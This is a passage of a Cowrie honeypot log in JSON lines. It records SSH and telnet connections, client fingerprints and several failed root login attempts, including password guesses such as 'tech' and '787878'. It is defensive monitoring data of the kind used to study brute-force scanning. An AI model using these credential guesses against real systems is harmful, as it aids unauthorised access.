0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:02:54.567434Z","src_ip":"47.237.167.49","session":"cadeca9dfdf8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44138,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c69c4a7219d","protocol":"telnet","message":"New connection: 152.42.224.71:44138 (10.17.0.5:23) [session: 4c69c4a7219d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:02:55.361258Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47890,"dst_ip":"10.17.0.5","dst_port":23,"session":"209f45438207","protocol":"telnet","message":"New connection: 152.42.224.71:47890 (10.17.0.5:23) [session: 209f45438207]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:02:58.165409Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.207.172","src_port":36898,"dst_ip":"10.17.0.5","dst_port":22,"session":"570abb783c58","protocol":"ssh","message":"New connection: 62.210.207.172:36898 (10.17.0.5:22) [session: 570abb783c58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:02:58.734917Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:02:58.740090Z","src_ip":"62.210.207.172","session":"570abb783c58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:02:58.822248Z","src_ip":"62.210.207.172","session":"570abb783c58","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a4:8e:19:84:68:cd:93:b7:33:69:d2:4d:c5:90:bf:c4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAgQCvcpItRlU7l3Pzdcz95/lNW8KFhXZgW79ZsuIe3ONVrPIFJYuR4jMfezNxaFZcncQc83v7OBC0zgGRTmJsfWGEAOVtsDIhRMx+XrS6LfsVLrK9sreqjqS9GmDkZ2OBpaGnVYGBLoGFAJIlp5EDL7z0yMlpnYhtk8rMGlhUNaLrCw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a4:8e:19:84:68:cd:93:b7:33:69:d2:4d:c5:90:bf:c4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:02:59.521169Z","src_ip":"62.210.207.172","session":"570abb783c58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a4:8e:19:84:68:cd:93:b7:33:69:d2:4d:c5:90:bf:c4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAgQCvcpItRlU7l3Pzdcz95/lNW8KFhXZgW79ZsuIe3ONVrPIFJYuR4jMfezNxaFZcncQc83v7OBC0zgGRTmJsfWGEAOVtsDIhRMx+XrS6LfsVLrK9sreqjqS9GmDkZ2OBpaGnVYGBLoGFAJIlp5EDL7z0yMlpnYhtk8rMGlhUNaLrCw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:02:59.524822Z","src_ip":"62.210.207.172","session":"570abb783c58","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"93:20:ae:aa:3d:91:c2:97:11:57:af:8f:69:0b:ef:2c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDDlW9Q1idp1yf4k/pIvOgBZxl8xzt/DHc0Fs9+AYY/uedQ1e1+UegZ0rKL0sry/nuMUIDdWO0msOj/9GTPjweIW9o+a9+4r2+P1ObVZjQp9UulukL+JyfCzRq641+0pAzxt5KzaEGSfWYXKTqbaiPRvRE6mq8b106oAqUa1iRYz09hmzZFPQAtD9T74e/7fwvgZi6DF0czXICIkeQht5DN6KlsNp4rgzH45+EYO5cq4zcIL++Mw2MePF9kAyhGOr9v6NDhwkJRyrfhNHvYIah6X9ejvbWCv8rr5LtlqnXDylt776wR7hE0vQ9KswHLqVYtfe9c1w05SZRx2ImZWWnU7eZG9jvh2BPwaFCkgPCR/ccVbV2MHrNYKC7i5HcHroWLy4Skr+9GTXqX2czZuY6iUnjkHlecWC9GAStWgbXwkYNUBEnHyu1eow6n1qQ6A5zA8kToDCeqmsrGpW+fiHMdqK7LgbWCiCNb1fBB+IbhLHJuu2W9sq/LI2LdtCUsxZ46hcfFbmKc2pPHmHGQCJfP1O8APNFY0QwESlAYJbGqE2IKlfjaYs3yBd0zOLh9J1rQyVtNBwklX3PZqMMdI0d8HXrnzASJ/oa/ublwWyj7fOHgKfiYQlWgZQu7dC04f9bWS1wRxZ7sp64bkrDbui42aupVPWwjXNlXLzprPRPWQw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 93:20:ae:aa:3d:91:c2:97:11:57:af:8f:69:0b:ef:2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:02:59.606639Z","src_ip":"62.210.207.172","session":"570abb783c58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"93:20:ae:aa:3d:91:c2:97:11:57:af:8f:69:0b:ef:2c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDDlW9Q1idp1yf4k/pIvOgBZxl8xzt/DHc0Fs9+AYY/uedQ1e1+UegZ0rKL0sry/nuMUIDdWO0msOj/9GTPjweIW9o+a9+4r2+P1ObVZjQp9UulukL+JyfCzRq641+0pAzxt5KzaEGSfWYXKTqbaiPRvRE6mq8b106oAqUa1iRYz09hmzZFPQAtD9T74e/7fwvgZi6DF0czXICIkeQht5DN6KlsNp4rgzH45+EYO5cq4zcIL++Mw2MePF9kAyhGOr9v6NDhwkJRyrfhNHvYIah6X9ejvbWCv8rr5LtlqnXDylt776wR7hE0vQ9KswHLqVYtfe9c1w05SZRx2ImZWWnU7eZG9jvh2BPwaFCkgPCR/ccVbV2MHrNYKC7i5HcHroWLy4Skr+9GTXqX2czZuY6iUnjkHlecWC9GAStWgbXwkYNUBEnHyu1eow6n1qQ6A5zA8kToDCeqmsrGpW+fiHMdqK7LgbWCiCNb1fBB+IbhLHJuu2W9sq/LI2LdtCUsxZ46hcfFbmKc2pPHmHGQCJfP1O8APNFY0QwESlAYJbGqE2IKlfjaYs3yBd0zOLh9J1rQyVtNBwklX3PZqMMdI0d8HXrnzASJ/oa/ublwWyj7fOHgKfiYQlWgZQu7dC04f9bWS1wRxZ7sp64bkrDbui42aupVPWwjXNlXLzprPRPWQw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:02:59.613073Z","src_ip":"62.210.207.172","session":"570abb783c58","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"df:ee:5a:07:e2:bd:4f:39:5c:01:67:e9:95:73:33:ce","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDI/vNKt985IHH2s+H5qmzoQIDq+b2eezWzfvp0uUmJv542GrjQ4eFOUpPN3VfqFZpwCCY7t24XQPPbX2ojtp6aEQl6HlB/0QsYYStV6qII2D4hwtBaKtTLLazc46qoyf9+IQJthZ+mWvKycb+kuubTpyth6SoazBpTFyrquWvyO8mCHmpnepTkS1YduORcK7oqYAPI7rF3GTEH/3AZRmL6dIpJdbXZZa45ulOaCSbArX5noNKGNQSyi7YpE+JFecgnNAZIWLOKOH0Q/5CfNmpJuLR8wd3c17a2TA6rrkvTVhKH9zo6FRquGhVUvNqX5Wi9+BSweEnFgl7SBVvpYB6onZU5J3mYh6laLbofoduIvCZRmU5kOmXuEnnj+JWt11ATYf5YUG715vCic4xasq8N6Ti6lqrUhkv5bi5LXMjb/ndiV/JDNzFBdOseRVgQO8eB0LAYgz+3S6WhYHA+nPJeoky03mOvM7XTm4G4d8WJ8ElKZN0M/g6smrJjJcOXSw6NQM/75KJrsciirdtoC0X4GovxfDzFfAPpC/esZYB5AvjoLYgLw8lr8FikTlOjuOCgYYQrViAaHxrqVfTl4lkD8B8GWkNd9/Leb+BvOxipN9/MQFlC1tJj7MLF2y/ORQKAOf0Bp8h6pKnbfdFYIrYVx1mGUzUiYy9F0ZU+BNojeQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint df:ee:5a:07:e2:bd:4f:39:5c:01:67:e9:95:73:33:ce","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:02:59.694981Z","src_ip":"62.210.207.172","session":"570abb783c58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"df:ee:5a:07:e2:bd:4f:39:5c:01:67:e9:95:73:33:ce","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDI/vNKt985IHH2s+H5qmzoQIDq+b2eezWzfvp0uUmJv542GrjQ4eFOUpPN3VfqFZpwCCY7t24XQPPbX2ojtp6aEQl6HlB/0QsYYStV6qII2D4hwtBaKtTLLazc46qoyf9+IQJthZ+mWvKycb+kuubTpyth6SoazBpTFyrquWvyO8mCHmpnepTkS1YduORcK7oqYAPI7rF3GTEH/3AZRmL6dIpJdbXZZa45ulOaCSbArX5noNKGNQSyi7YpE+JFecgnNAZIWLOKOH0Q/5CfNmpJuLR8wd3c17a2TA6rrkvTVhKH9zo6FRquGhVUvNqX5Wi9+BSweEnFgl7SBVvpYB6onZU5J3mYh6laLbofoduIvCZRmU5kOmXuEnnj+JWt11ATYf5YUG715vCic4xasq8N6Ti6lqrUhkv5bi5LXMjb/ndiV/JDNzFBdOseRVgQO8eB0LAYgz+3S6WhYHA+nPJeoky03mOvM7XTm4G4d8WJ8ElKZN0M/g6smrJjJcOXSw6NQM/75KJrsciirdtoC0X4GovxfDzFfAPpC/esZYB5AvjoLYgLw8lr8FikTlOjuOCgYYQrViAaHxrqVfTl4lkD8B8GWkNd9/Leb+BvOxipN9/MQFlC1tJj7MLF2y/ORQKAOf0Bp8h6pKnbfdFYIrYVx1mGUzUiYy9F0ZU+BNojeQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:02:59.698760Z","src_ip":"62.210.207.172","session":"570abb783c58","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4a:38:7c:fa:90:23:6b:87:95:9e:ab:5b:4d:64:af:0e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC0zAguud5kMUJ4Czxkd1uFt0DpbRu8bYlRCC8ekjvL9OG24ApAD3hIuQTvZH+YKDnSMfqEANLCge2wGMMKQOwMbcaLE2GXzDLKhWKOpWCt7Lbbm/KR01LlRAdc1GZNewtNpqFQKmRj8Ogw3cMeJMArkqWhI9hOPgBWKuqmFm/u1UOSxYWbKYE3Po0f0Bj7GyNSo5LMo6osrca1+FvfliHFOzi9zKayL9wQppcTa6g4CACmNjU4I4thVo0xYOmJKGwypV+nbAd7EdZKAf7lC7X5q90aewgBuV3PrSqwnAsQfY9DeznYgPFaC+QhuI5S3+fo4emr4WxTYbLMDoFDCWuMPWwxgr68qD5V3BgQfzZd3l7H87MFmbRt+bP+eTwh3lAD41iVVOzwQq4z8gs7nQzUTREnYZNRGS3ASwQWbO9FUE6Rk38jXAFyOSa/3pGH6vyQjfvOfkVutInNzKZ8DjS5g/Z/5FKaKcptXaocMCRde2nlTFja6sHsG6ToD3rSBlvFGwinlPl3ZQs9AXvEBU/iQkkPhMl6MYhvMWJTYyrHffgJ60TLTBjH0pt+7xpM88mrVPixhq5dfO9O5X/k0+20uiGTtMMkrZLfpLwPFymX3oZtvqt9PCr4m5ZYKkUtHhfNeyeVkzX2SsQyOQgAH4ydXek07UxYtjyNvsg5jxG2Dw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4a:38:7c:fa:90:23:6b:87:95:9e:ab:5b:4d:64:af:0e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:02:59.783440Z","src_ip":"62.210.207.172","session":"570abb783c58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4a:38:7c:fa:90:23:6b:87:95:9e:ab:5b:4d:64:af:0e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC0zAguud5kMUJ4Czxkd1uFt0DpbRu8bYlRCC8ekjvL9OG24ApAD3hIuQTvZH+YKDnSMfqEANLCge2wGMMKQOwMbcaLE2GXzDLKhWKOpWCt7Lbbm/KR01LlRAdc1GZNewtNpqFQKmRj8Ogw3cMeJMArkqWhI9hOPgBWKuqmFm/u1UOSxYWbKYE3Po0f0Bj7GyNSo5LMo6osrca1+FvfliHFOzi9zKayL9wQppcTa6g4CACmNjU4I4thVo0xYOmJKGwypV+nbAd7EdZKAf7lC7X5q90aewgBuV3PrSqwnAsQfY9DeznYgPFaC+QhuI5S3+fo4emr4WxTYbLMDoFDCWuMPWwxgr68qD5V3BgQfzZd3l7H87MFmbRt+bP+eTwh3lAD41iVVOzwQq4z8gs7nQzUTREnYZNRGS3ASwQWbO9FUE6Rk38jXAFyOSa/3pGH6vyQjfvOfkVutInNzKZ8DjS5g/Z/5FKaKcptXaocMCRde2nlTFja6sHsG6ToD3rSBlvFGwinlPl3ZQs9AXvEBU/iQkkPhMl6MYhvMWJTYyrHffgJ60TLTBjH0pt+7xpM88mrVPixhq5dfO9O5X/k0+20uiGTtMMkrZLfpLwPFymX3oZtvqt9PCr4m5ZYKkUtHhfNeyeVkzX2SsQyOQgAH4ydXek07UxYtjyNvsg5jxG2Dw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:02:59.786784Z","src_ip":"62.210.207.172","session":"570abb783c58","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"71:30:de:1d:95:ed:63:ec:75:54:89:63:e9:f1:f5:be","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCuhrXvvCMbACSmii+jPqNxhQXyPOXuw9qeA/Yydk9e0Tn3b3GxkAHrKttOtzq56pBC6tMKmUy+vTRD1bJsuQaCwSyg57WvX4CH9uw1at1frN6NJ+MvSLUlD4XEBNPPeL+BiD/4t4xNH1DoWGZyGOdB5XI6QzpBZrn8EUlsjT9UTLtyvMFtLHSV+vlsoLlFD/Mp7NaypinxF55zpq7mNryfifO4cjhLY/45jj/GjN/DJioH79w2rdYrcfQcY5x7VtTIAWRY4qgS4+ofQuCEGvRlPHnoajdAWC08Vs9kSbhPdKn33ZO4MKbJWhTomS7317iY8F8weM72POZqvPQcLqSjkOR9OScfNrwV5szYQajSIhUU2vD7MN4xxkCeGZLpFsI/TDUHkPF2Wf9FGzC68XdtkmPiokdYg7kFDnRjn0kZxdz44FAqBjzq8id3IwnGvvlVpmrALBuOVVAIL0GPGInQfRwVBFuqe83DuligmvzxcdkyO8ooZAId5LNn+JqhmIZ7ILNzAKOXvAsuDWK5F2t+oEkIkWc7j5v7JDPOfVznIK3rs2+83KL6gZwlq1S6vmJpei1GJnWmFpp0aaj4XA0wkn64pD/oWN8/f9AvQTyDKOAYcTKQQQyOXpND9LKd6lZrYvU4xD9HXanaPrXrKWgcQbxomorAbOtzM8DVQ+Nedw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 71:30:de:1d:95:ed:63:ec:75:54:89:63:e9:f1:f5:be","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:02:59.868137Z","src_ip":"62.210.207.172","session":"570abb783c58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"71:30:de:1d:95:ed:63:ec:75:54:89:63:e9:f1:f5:be","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCuhrXvvCMbACSmii+jPqNxhQXyPOXuw9qeA/Yydk9e0Tn3b3GxkAHrKttOtzq56pBC6tMKmUy+vTRD1bJsuQaCwSyg57WvX4CH9uw1at1frN6NJ+MvSLUlD4XEBNPPeL+BiD/4t4xNH1DoWGZyGOdB5XI6QzpBZrn8EUlsjT9UTLtyvMFtLHSV+vlsoLlFD/Mp7NaypinxF55zpq7mNryfifO4cjhLY/45jj/GjN/DJioH79w2rdYrcfQcY5x7VtTIAWRY4qgS4+ofQuCEGvRlPHnoajdAWC08Vs9kSbhPdKn33ZO4MKbJWhTomS7317iY8F8weM72POZqvPQcLqSjkOR9OScfNrwV5szYQajSIhUU2vD7MN4xxkCeGZLpFsI/TDUHkPF2Wf9FGzC68XdtkmPiokdYg7kFDnRjn0kZxdz44FAqBjzq8id3IwnGvvlVpmrALBuOVVAIL0GPGInQfRwVBFuqe83DuligmvzxcdkyO8ooZAId5LNn+JqhmIZ7ILNzAKOXvAsuDWK5F2t+oEkIkWc7j5v7JDPOfVznIK3rs2+83KL6gZwlq1S6vmJpei1GJnWmFpp0aaj4XA0wkn64pD/oWN8/f9AvQTyDKOAYcTKQQQyOXpND9LKd6lZrYvU4xD9HXanaPrXrKWgcQbxomorAbOtzM8DVQ+Nedw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:02:59.872221Z","src_ip":"62.210.207.172","session":"570abb783c58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:02:59.954367Z","src_ip":"62.210.207.172","session":"570abb783c58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47900,"dst_ip":"10.17.0.5","dst_port":23,"session":"637c2d3dd8c0","protocol":"telnet","message":"New connection: 152.42.224.71:47900 (10.17.0.5:23) [session: 637c2d3dd8c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:03:02.528097Z"}
{"eventid":"cowrie.session.closed","duration":58.00040864944458,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:03:04.507739Z","src_ip":"152.42.224.71","session":"33192a9d58c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00387358665466,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:03:06.479260Z","src_ip":"152.42.224.71","session":"a3b640fe448f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.238.160.191","src_port":35752,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f232ff817eb","protocol":"ssh","message":"New connection: 170.238.160.191:35752 (159.203.135.109:22) [session: 8f232ff817eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:03:08.992964Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:03:08.999148Z","src_ip":"170.238.160.191","session":"8f232ff817eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:03:09.113019Z","src_ip":"170.238.160.191","session":"8f232ff817eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tech","message":"login attempt [root/tech] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:03:09.600415Z","src_ip":"170.238.160.191","session":"8f232ff817eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:03:10.718002Z","src_ip":"170.238.160.191","session":"8f232ff817eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":59542,"dst_ip":"159.203.135.109","dst_port":22,"session":"725ef078022b","protocol":"ssh","message":"New connection: 103.77.175.15:59542 (159.203.135.109:22) [session: 725ef078022b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:03:12.172829Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:03:12.178742Z","src_ip":"103.77.175.15","session":"725ef078022b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:03:12.438021Z","src_ip":"103.77.175.15","session":"725ef078022b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00144529342651,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:03:13.203017Z","src_ip":"152.42.224.71","session":"2bc806efd010","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"787878","message":"login attempt [root/787878] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:03:13.215575Z","src_ip":"103.77.175.15","session":"725ef078022b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:03:14.481119Z","src_ip":"103.77.175.15","session":"725ef078022b","protocol":"ssh"}
